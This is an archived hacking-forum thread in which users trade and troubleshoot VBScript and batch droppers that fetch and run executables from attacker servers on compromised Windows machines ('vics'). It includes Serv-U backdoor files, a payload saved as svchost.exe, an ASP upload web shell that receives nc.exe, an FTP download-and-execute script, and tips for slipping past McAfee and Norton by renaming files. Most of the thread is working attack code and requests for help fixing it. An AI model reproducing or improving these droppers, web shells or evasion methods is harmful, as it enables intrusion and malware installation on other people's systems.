hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Pages: 1, 2, 3, 4
dragonfly
So if i'm right i can do this to start serv-u or something blink.gif :
CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.MYSERVER.com/servudaemon.ini",0
echo xPost.Open "GET","http://www.MYSERVER.com/servudaemon.exe",0
>>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "servudaemon.exe",2 >>webdown.vbs
cscript webdown.vbs


And now will start serv-u??
boshcash
QUOTE (dragonfly @ Mar 14 2004, 08:06 AM)
So if i'm right i can do this to start serv-u or something blink.gif :
CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs
echo xPost.Open "GET","http://www.MYSERVER.com/servudaemon.ini",0
echo xPost.Open "GET","http://www.MYSERVER.com/servudaemon.exe",0
>>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "servudaemon.exe",2 >>webdown.vbs
cscript webdown.vbs


And now will start serv-u??

better get each file seperately
dragonfly
huh can you give me more explain please...
sorry men unsure.gif
DumpZ
use the script twice. use for each file the script again. and just start ur files like u normaly do


/Edit

Wel it's a very nice tool but unfortuneately my McAfee AV still detects it, even the new version, but no i just have to stop the AV services
dragonfly
CODE
C:\WINDOWS\system32>echo Set xPost = CreateObject("Microsoft.XMLHTTP")  1>webdown.vbs

C:\WINDOWS\system32>echo xPost.Open "GET","*********************",0  1>>webdown.vbs

C:\WINDOWS\system32>echo xPost.Send()  1>>webdown.vbs

C:\WINDOWS\system32>echo Set sGet = CreateObject("ADODB.Stream")  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Mode = 3  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Type = 1  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Open()  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Write(xPost.responseBody)  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.SaveToFile "svchost.exe",2  1>>webdown.vbs

C:\WINDOWS\system32>cscript webdown.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.


What to do now?
101


another method here http://www.governmentsecurity.org/forum/in...?showtopic=7255 , no virus detection, no uploads/downloads scripts.
-Arthy-
Maybe it's posted above me.
But I'm to lazy to read all the reply's tongue.gif

Anyways, when you have a download manager running it runs the download manager rolleyes.gif

You won't see any difrence when it's noticed by the download manager only thing is that it doesn't start downloading...

So thats at least one minus point wink.gif
DumpZ
QUOTE (dragonfly @ Mar 15 2004, 02:55 PM)
CODE
C:\WINDOWS\system32>echo Set xPost = CreateObject("Microsoft.XMLHTTP")  1>webdown.vbs

C:\WINDOWS\system32>echo xPost.Open "GET","*********************",0  1>>webdown.vbs

C:\WINDOWS\system32>echo xPost.Send()  1>>webdown.vbs

C:\WINDOWS\system32>echo Set sGet = CreateObject("ADODB.Stream")  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Mode = 3  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Type = 1  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Open()  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Write(xPost.responseBody)  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.SaveToFile "svchost.exe",2  1>>webdown.vbs

C:\WINDOWS\system32>cscript webdown.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.


What to do now?

The VBscript failed to execute correctly i guess because i don't that message.
extreme
First of all, this is locall stuff, so offcourse your download manager will be alerted...
Second, you don't have to know VBS much to see that xPost is a variable for first file.. If you wish to download second file, just use diff variable...
Mandarins
I think this progie EXE2VBS could be quite usefull

h**p://www.haxorcitos.com/ficheros/EXE2VBS_10.zip
3plx
when i try to run this on my comp i got error on line 1 char 1 can someone help me and recode this
xPost.Open "GET","***/tlist.exe",0
xPost.Open "GET","***/3plx/sux.ini",0
xPost.Open "GET","***/sux.dll",0
xPost.Open "GET","*****/ServUDaemon.ini",0
xPost.Open "GET","***/kill.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "tlist.exe",2
sGet.SaveToFile "sux.ini",2
sGet.SaveToFile "sux.dll",2
sGet.SaveToFile "sql.exe",2
sGet.SaveToFile "ServUDaemon.ini",2
sGet.SaveToFile "kill.exe",2
cscript webdown.vbs
Killaloop
QUOTE (dragonfly @ Mar 15 2004, 02:55 PM)
CODE
C:\WINDOWS\system32>echo Set xPost = CreateObject("Microsoft.XMLHTTP")  1>webdown.vbs

C:\WINDOWS\system32>echo xPost.Open "GET","*********************",0  1>>webdown.vbs

C:\WINDOWS\system32>echo xPost.Send()  1>>webdown.vbs

C:\WINDOWS\system32>echo Set sGet = CreateObject("ADODB.Stream")  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Mode = 3  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Type = 1  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Open()  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.Write(xPost.responseBody)  1>>webdown.vbs

C:\WINDOWS\system32>echo sGet.SaveToFile "svchost.exe",2  1>>webdown.vbs

C:\WINDOWS\system32>cscript webdown.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.


What to do now?

xml is not installed on that system use a method without the need of xml code.
Montague
really nice, I tried it and it worked for me.
Thanks for sharing thid really fast method!

BacKZoiD.
Killaloop
QUOTE (3plx @ Apr 5 2004, 08:08 AM)
when i try to run this on my comp i got error on line 1 char 1 can someone help me and recode this
xPost.Open "GET","***/tlist.exe",0
xPost.Open "GET","***/3plx/sux.ini",0
xPost.Open "GET","***/sux.dll",0
xPost.Open "GET","*****/ServUDaemon.ini",0
xPost.Open "GET","***/kill.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "tlist.exe",2
sGet.SaveToFile "sux.ini",2
sGet.SaveToFile "sux.dll",2
sGet.SaveToFile "sql.exe",2
sGet.SaveToFile "ServUDaemon.ini",2
sGet.SaveToFile "kill.exe",2
cscript webdown.vbs

how should this ever work? you don't know much about vbs I guess..
well I don't know nothing too, but that what I know looks like this:

Set firstFile = CreateObject("Microsoft.XMLHTTP")
Set SecondFile = CreateObject("Microsoft.XMLHTTP")
firstFile.Open "GET","http://download.dameware.us/files/DNTUEXP.MSI",0
firstFile.Send()
Set File1 = CreateObject("ADODB.Stream")
File1.Mode = 3
File1.Type = 1
File1.Open()
File1.Write(firstFile.responseBody)
File1.SaveToFile "first.msi",2
SecondFile.Open "GET","http://download.dameware.us/files/DNTUEXP.zip",0
SecondFile.Send()
Set File2 = CreateObject("ADODB.Stream")
File2.Mode = 3
File2.Type = 1
File2.Open()
File2.Write(SecondFile.responseBody)
File2.SaveToFile "second.zip",2

for more then 2 files you will figure out on your own I hope, since I used easy to understand variables. however there are faster ways too but you have to take care not to write the same stream into every file...its not that easy.
frgn
i like this method very much, works just fine and no av detects it, if you run your file separately.

thx
tianzhen
i found some vics begin deleting the cscript.exe
frgn
just found out, that mcAffee server edition detects the script...

but i got told that from a friend of mine, so i can't tell any further details

(script without automatic execution of exe-file)
axelfoley643
interesting, thanks m8
2Fa$t
Every time i wanna use with sqlexec it says sql_error by echoing the commands!
Somebody knows an suggestion?
rouge
best way is just the ftp.exe way or tftp.exe cuz the others are detected or will be detected very soon.

But when i tested i get,

echo Set HTTPGET = CreateObject(^"^Microsoft.XMLHTTP^"^)>>c:\madefile.vbs


SQL_ERROR

how can that be??? what can i change?
Burton
Hi guys

thx for this great method

ich have the same problem if anyone can help please reply


burton
Killaloop
"i found some vics begin deleting the cscript.exe"
Not admins do it, skids delete it.

"best way is just the ftp.exe way or tftp.exe cuz the others are detected or will be detected very soon."
Nope. Find your own way and don't make it public. still many ways to use scripts to easily bypass firewall because files will be created not downloaded...still the nicest method.

"Every time i wanna use with sqlexec it says sql_error by echoing the commands!
Somebody knows an suggestion?"
the green apple sqlexec doesn't like certain signs so swicht to another program, there are 1000 of them just google
The Storm
many progz have problems with echoing " how knows on how to echo a " in Sqlbrowser? would be gr8 PS: the script workx fine at all!
dEuS
Thats also a very nice (and working!) idea. THX

I only have a problem with a line:
echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs

Thats working, but when i echo these there is only this:
Echo Const adSaveCreateOverWrite

So the "=2" is missing.

Thats strange...
But I cant do anything against that wink.gif
Any suggestions?

cya
Qlimax
tnx buddy its nice mathod of geting files to box's when the ftp.exe\rcp.exe\tftp.exe not work
The Storm
QUOTE (dEuS @ Apr 20 2004, 09:42 PM)
Thats also a very nice (and working!) idea. THX

I only have a problem with a line:
echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs

Thats working, but when i echo these there is only this:
Echo Const adSaveCreateOverWrite

So the "=2" is missing.

Thats strange...
But I cant do anything against that wink.gif
Any suggestions?

cya

I also have this problem I think u use SQLEXEC 1 or 2 there it don`t work don`t know why evt. ther =2 is a special code or sth. like this! Who Knows a tool like SQL Browser that can echo a " would be gr8 help!
[eXPhase
Some AV do detect the script, but I found out that they only delete it when you are downloading a executable file. When I rename my tool program.exe to program.doc on my http server and rename it on the victim after download, it still works biggrin.gif

Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?
dmg
QUOTE (dEuS @ Apr 20 2004, 09:42 PM)
Thats also a very nice (and working!) idea. THX

I only have a problem with a line:
echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs

Thats working, but when i echo these there is only this:
Echo Const adSaveCreateOverWrite

So the "=2" is missing.

Thats strange...
But I cant do anything against that wink.gif
Any suggestions?

cya

Just escape the 2 like this:

CODE
echo Const adSaveCreateOverWrite=^2>>c:\madefile.vbs
xmen
danke für das script werd es mal testen smile.gif
-Arthy-
QUOTE ([eXPhase @ Apr 21 2004, 07:56 AM)
Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?

I guess more because the have download software running.
totof
how do you do wiht the instruction PUT ??
F34R
Looks promising... too bad I'm too n00b to know what exactly to edit if I, for example, wanted the bot to download/execute a file such as hxxp://www.tripod.com/example.exe
bdark
QUOTE ([eXPhase @ Apr 21 2004, 07:56 AM)
Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?

It could be because there is running a service that doesn't let you create data or files on disk. Maybe stopping it first, and then echoing the commands, so your the script file can be created and then executed for downloading your tools/files
147111
temptation of course vbs file is run like exe , and realloader u may have a mistake in ur echoing , if u copy the exact echo with its spaces and change what is supposed to be changed it should work fine , and its tested remotely by the way .. Maybe soon i am planning to release some document about all ways to upload files to cmd shell , since i started with tftp and net share , then i increased my knowledge to the ftp method , then i made that vbs thing , and i knew after that the mshta thing , and i did other way with echoing , but its still beta thing (has some problems , but u can echo anytext u want including signs and all ..
uzec
try:

echo o ftp.server.de >> ftpdownloader.bat
echo anonymous >> ftpdownloader.bat
echo password >> ftpdownloader.bat
echo GET file.exe >> ftpdownloader.bat
echo quit >> ftpdownloader.bat
echo ftp -s:ftpdownloader.bat >> ftpdownloader.bat
echo file.exe >> ftpdownloader.bat
ftpdownloader.bat

will download and execute a file from ftp
147111
many progz have problems with echoing " how knows on how to echo a " in Sqlbrowser? would be gr8 PS: the script workx fine at all!
DMX2
Wowiie...

This is some very very nice info...

Thanks for sharing..

Greetzzz to all
Jack28
GREAT post cuzz nr3 is helping me allready for a long time, i use it alot!
147111
very nice method
thanx
realloader
This Method do not work any more:
see this Error:
C:\WINNT\system32>cscript c:\trojan.vbs
Microsoft ® Windows Script Host Version 5.6
Copyright © Microsoft Corporation 1996-2001. All rights reserved.

c:\trojan.vbs(1, 28) Microsoft VBScript compilation error: Expected ')'
chris105
QUOTE (Action @ Nov 29 2003, 03:20 PM)
mcafee reads it, so its quite useless

useless, lol. just because mcafee reads it why does this make it pointless. is mcafee the only AV does everyone have AV in the first place ?
SyN/AcK
QUOTE (chris105 @ May 26 2004, 06:43 PM)
QUOTE (Action @ Nov 29 2003, 03:20 PM)
mcafee reads it, so its quite useless

useless, lol. just because mcafee reads it why does this make it pointless. is mcafee the only AV does everyone have AV in the first place ?

Quite true... and even more so, does everybody even have an AV? No.

If you wanted to talk about useless, you might suggest this exploit is useless since Unicode/Double Decode exploits are so old now, but does that matter? There is still thousands of comps out there vulnerable to it.
Partizaan
I say nice job works fine
for the record. Norton coorp

Dim Partizaan
Set Partizaan = CreateObject("WScript.Shell")
Partizaan.Run "freecell.exe"

Norton coorp. idenfies this string as virus.

Respect to the original coder !
realloader
sorry i got my problem clear.
C0D4R
1.
in vitcim,save as up.asp

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

in your client,save as up.vbs:

with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

do it:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

2.
start its:http://www.sometips.com/soft/ps.exe
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
copy XX000XXX\ps[1].exe c:\path\ps.exe
del XX000XXX\ps[1].exe

3.
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

realloader
thank u C0D4R!
it look complicat, but i will try it !
I can understand #3....it work.
but #1 and #2 ..i dont understand.
asd10
is anyone can ive the commands for SQL??
i get an error when i use this:"

any help??????


thnx in advance,

AsD10
Frenkovic
thanks, ofcourse it worked when i tested it smile.gif

and my avs didn't find it either!
FLX
damn, works well boshcash!

anywayz, anybody can help me make this undetectable?
FLX
Daisycutter
the undetected part is easy ... atleast with mcafee flx...just change the .exe to .zip

the real problem i see is that in xp sp2 they removed adodb so there must be something else that will work
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.